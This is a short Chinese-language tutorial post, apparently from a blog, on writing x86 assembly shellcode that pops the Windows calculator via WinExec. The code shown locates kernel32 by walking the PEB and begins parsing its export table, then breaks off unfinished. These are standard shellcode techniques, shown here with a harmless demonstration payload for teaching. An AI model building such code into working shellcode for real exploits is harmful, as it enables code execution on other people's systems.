使用汇编语言开发shellcode以实现窗口计算器
发布时间
阅读量:
阅读量
通过汇编语言开发shellcode,以调用WinExec函数的方式触发计算器程序的弹出,对应的汇编代码示例如下:
.386
.model flat,stdcall
; 代码区域
.code
main:
push ebp
mov ebp,esp
sub esp,20h; 开辟栈空间
; 获取Kernel32基址
assume fs:nothing
mov eax,[fs:30h]; peb结构所在地址
mov eax,[eax+0Ch]; Ldr
mov eax,[eax+1Ch]; 指向ntdll
mov eax,[eax]; 指向kernelbase
mov eax,[eax]; 指向kernel32
mov eax,[eax+08h]; BaseAddress
;遍历kernel32导出函数
; 初始化栈空间用来保存变量
mov DWORD PTR[ebp-04h],0; 用来存放导出函数“地址表”
mov DWORD PTR[ebp-08h],0; 用来存放导出函数“名称表”
mov DWORD PTR[ebp-0Ch],0; 用来存放导出函数“序号表
全部评论 (0)
还没有任何评论哟~
